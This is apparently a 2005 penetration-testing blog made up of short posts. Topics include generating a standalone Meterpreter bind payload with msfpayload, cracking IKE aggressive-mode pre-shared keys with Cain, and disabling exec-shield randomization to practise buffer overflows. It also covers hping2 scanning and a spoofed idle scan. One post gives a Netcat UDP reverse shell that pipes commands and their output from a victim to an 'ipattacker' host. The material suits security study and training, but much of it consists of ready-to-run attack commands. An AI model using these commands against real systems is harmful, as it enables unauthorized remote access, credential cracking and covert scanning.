Wednesday, October 26, 2005

Using Meterpreter as a standalone utility

Post-exploitation techniques are a cool topic, these days i read a thread in Metasploit Mailing list
about using Meterpreter payload as a standalone utility, for example after exploiting sql injection you can upload meterpreter and work through it. Well here is some fast example on how to achieve this.

To create the meterpreter server:

$ msfpayload win32_bind_meterpreter LPORT=4321 X > met.exe

Copy this executable to the target system and find some way to execute it.

After executing it, you can use the "payload_handler" exploit to connect
and interact with it:
$ msfcli payload_handler PAYLOAD=win32_bind_meterpreter LPORT=4321 RHOST= E

I haven't time to test it but i think it works.

This is great for windows, if the target system is a Unix you could rely on S.E.L.F (Shellcode Elf Loader, another focus for the same objective "post-exploitation", i recommend to take a look at S.E.L.F. Phrack article.

Sunday, October 2, 2005

Mozilla Firefox extensions for the pentester

Here i will list some of the most useful extensions for doing applications audits or pentest using Mozilla Firefox:

LiveHTTPheaders:

* Letting you edit request headers and replay an URL. Look for the Replay button in the live window! Very useful ;)
http://livehttpheaders.mozdev.org/

Web Developer Tools:
* Excellent tool, that let you do a lot of things, a must have. It turns the browser into a complete development Tool.
https://addons.mozilla.org/extensions/moreinfo.php?id=60

Switch Proxy Tools:
* This extension allows you to define a list of proxies and switch on the fly with a button, very fast! Tor, Paros, Burp, webscarab, jap.
https://addons.mozilla.org/extensions/moreinfo.php?id=125

Tamper Data:
* Use tamperdata to view and modify HTTP/HTTPS headers and post parameters. Trace and time http response/requests.
https://addons.mozilla.org/firefox/966/


Spiderzilla:
* A front end for httrack, you could create website mirrors from the browser.
https://addons.mozilla.org/addon.php?id=1616

Slogger:
* Slogger creates a complete log of your browsing history. It can save every page using the same options as the "Save Page As" command as well as saving a customizable plain text history file
https://addons.mozilla.org/extensions/moreinfo.php?id=143

Add n Edit Cookies:
*Cookie Editor that allows you add and edit "session" and saved cookies.
https://addons.mozilla.org/firefox/573/


If you got another interesting plugin, please share ;)

Friday, May 27, 2005

ModSecurity: Application Firewall

I wrote an article about Modsecurity, an apache module that work as an application Firewall. The paper is written in Spanish because the lack of spanish documentation about it. I wrote it for a monthly publication for the company i work.

You can get it at:
HTML Version: http://www.isecauditors.com/es/iseclab4.html
PDF Version: http://www.isecauditors.com/downloads/artic/iseclab4.pdf

Enjoy

Thursday, May 12, 2005

Ike Aggressive Mode Cracking

If you are doing a Pentest and you find a Vpn server there is a chance that it support Aggressive Mode, so what could we do?

1-Use Ikeprobe to check if the server support Aggressive Mode: ikeprobe ipserver
2-If we are lucky and there is a match, then we have to configure a vpn client (Safenet for example) with the information we have, we doesnt have the pre-shared key but doesnt matter, that is what we looking for.
3-Before firing up the vpn client, we have to put Cain to sniff the network traffic.
4-After the failed attempt Cain will have a sniffed the preshared key hash, now we send it to the Cain cracker.
5-And then we can launch Dictionary attack and if it fails, we can try brute force attack. We have to wait and wait... until the password is revealed.

That's all

Netcat Udp shell

Here is a little memory helper about the uses of Netcat, an udp shell.

On the attacker:
Terminal 1: nc -lun -p 4444
Terminal 2: nc -lun -p 5555

On the Victim:
echo""|nc -un ipattacker 4444 | nc -un ipattacker 5555

So you type the commands on the Terminal 1 and you receive the output on Terminal 2.
This also apply to tcp

Wednesday, April 6, 2005

More Exec-shield and Fedora

Well i'm not using Fedora anymore, Ubuntu has replaced it forever :)
But i found that Fedora cames with the option exec-shield-randomize enabled,
so your stack address change every time you run a program.

For example:

$ gcc -Wall -g --static -o stackp stackp.c
$ for i in 1 2 3 4 5; do ./stackp; done
&sp is 0xbffff234
&sp is 0xbffff134
&sp is 0xbffff034
&sp is 0xbfffef34
&sp is 0xbfffee34

Now if you want to disable the randomization you have to execute this command:

echo 0 > /proc/sys/kernel/exec-shield-randomize

And now if we do the test again, we see that our address is not changing anymore:

$ gcc -Wall -g --static -o stackp stackp.c
$ for i in 1 2 3 4 5; do ./stackp; done
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234

So we can do our test and Bufos practising without problems :)

Wednesday, March 23, 2005

Hping2

Here we have 3 little examples of hping2 uses:

Host uptime:
------------

hping2 host -p 80 -S --tcp-timestamp

Scanning :
---------

Syn scan:
hping2 -S target -p ++80 (++ will increase the port, for each try)


hping2 --scan known target


IDLE SCAN using Hping2
----------------------

The Players:

host A - evil host, the attacker.
host B - silent host.
host C - victim host.

A is your host.
B is a particular host: It must not send any packets while
you are scanning C. There are a lot of 'zero traffic' hosts
in internet, especially in the night :)
C is the victim, it must be vulnerable to SYN scan.

I've called this scan method 'dumb host scan' in honour of host
B characteristics.


How it works:

Host A monitors number of outgoing packets from B using id iphdr.
You can do this simply using hping:

#hping B -r
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
-cut-
..
.

As you can see, id increases are always 1. So this host have the
characteristics that host B should to own.

Now host A sends SYN to port X of C spoofing from B.
(using hping => 0.67 is very easy, http://www.kyuzz.org/antirez)
if port X of C is open, host C will send SYN|ACK to B (yes,
host C don't know that the real sender is A). In this
case host B replies to SYN|ACK with a RST.
If we send to host C a few of SYN it will reply to B with a few
of SYN|ACK, so B will reply to C a few of RST... so
we'll see that host B is sending packets!

.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
-cut-
..
.

The port is open!

Instead, if port X of C is closed sending to C a few
of SYN spoofed from B, it will reply with RST to B, and
B will not reply (see 3). So we'll see that host B is not sending
any packet:

.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
-cut-
..


The port is closed.

All this can appear complicated to perform, but using two sessions
of hping on Linux virtual consoles or under X makes it more simple.
First session listen host B: hping B -r
Second session send spoofed SYN: hping C -a B -S

Wednesday, January 12, 2005

Metasploit Framework new Release!

I tried the new Metasploit Framework 2.3, it has 12 new exploits, new and improved payloads, improved performance, new msfweb interface and the best of all the Meterpreter (Meta-Interpreter) a new advanced payload, allows developers to write their own extensions in the form of shared object (DLL) files, that can be uploaded and injected into a running process on a target computer after exploitation has ocurred. So it never touch the disk!



It has 4 extensions now:

FS (cd, getcwd, ls, upload, download)

Net (Ipconfig, portfwd, route)

Process (kill, ps, execute)

Sys (sysinfo, getuid, rev2self)



It's a big step for the metasploit project, and it's really sweet ;)